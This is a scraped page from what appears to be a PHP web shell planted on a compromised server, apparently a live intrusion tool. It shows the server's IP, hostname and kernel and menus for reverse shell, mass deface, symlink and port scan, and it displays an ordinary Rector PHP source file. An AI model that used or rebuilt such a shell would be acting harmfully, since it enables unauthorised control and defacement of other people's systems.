ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
PostRector
/
Rector
/
Viewing: NameImportingPostRector.php
<?php declare (strict_types=1); namespace Rector\PostRector\Rector; use PhpParser\Node; use PhpParser\Node\Name\FullyQualified; use PhpParser\Node\Stmt; use PhpParser\Node\Stmt\GroupUse; use PhpParser\Node\Stmt\Use_; use Rector\CodingStyle\Node\NameImporter; use Rector\Naming\Naming\UseImportsResolver; use Rector\PostRector\Guard\AddUseStatementGuard; final class NameImportingPostRector extends \Rector\PostRector\Rector\AbstractPostRector { /** * @readonly * @var \Rector\CodingStyle\Node\NameImporter */ private $nameImporter; /** * @readonly * @var \Rector\Naming\Naming\UseImportsResolver */ private $useImportsResolver; /** * @readonly * @var \Rector\PostRector\Guard\AddUseStatementGuard */ private $addUseStatementGuard; /** * @var array<Use_|GroupUse> */ private $currentUses = []; public function __construct(NameImporter $nameImporter, UseImportsResolver $useImportsResolver, AddUseStatementGuard $addUseStatementGuard) { $this->nameImporter = $nameImporter; $this->useImportsResolver = $useImportsResolver; $this->addUseStatementGuard = $addUseStatementGuard; } public function beforeTraverse(array $nodes) { $this->currentUses = $this->useImportsResolver->resolve(); return $nodes; } /** * @return \PhpParser\Node|int|null */ public function enterNode(Node $node) { if (!$node instanceof FullyQualified) { return null; } return $this->nameImporter->importName($node, $this->getFile(), $this->currentUses); } /** * @param Stmt[] $stmts */ public function shouldTraverse(array $stmts) : bool { return $this->addUseStatementGuard->shouldTraverse($stmts, $this->getFile()->getFilePath()); } }
Coded With 💗 by
0x6ick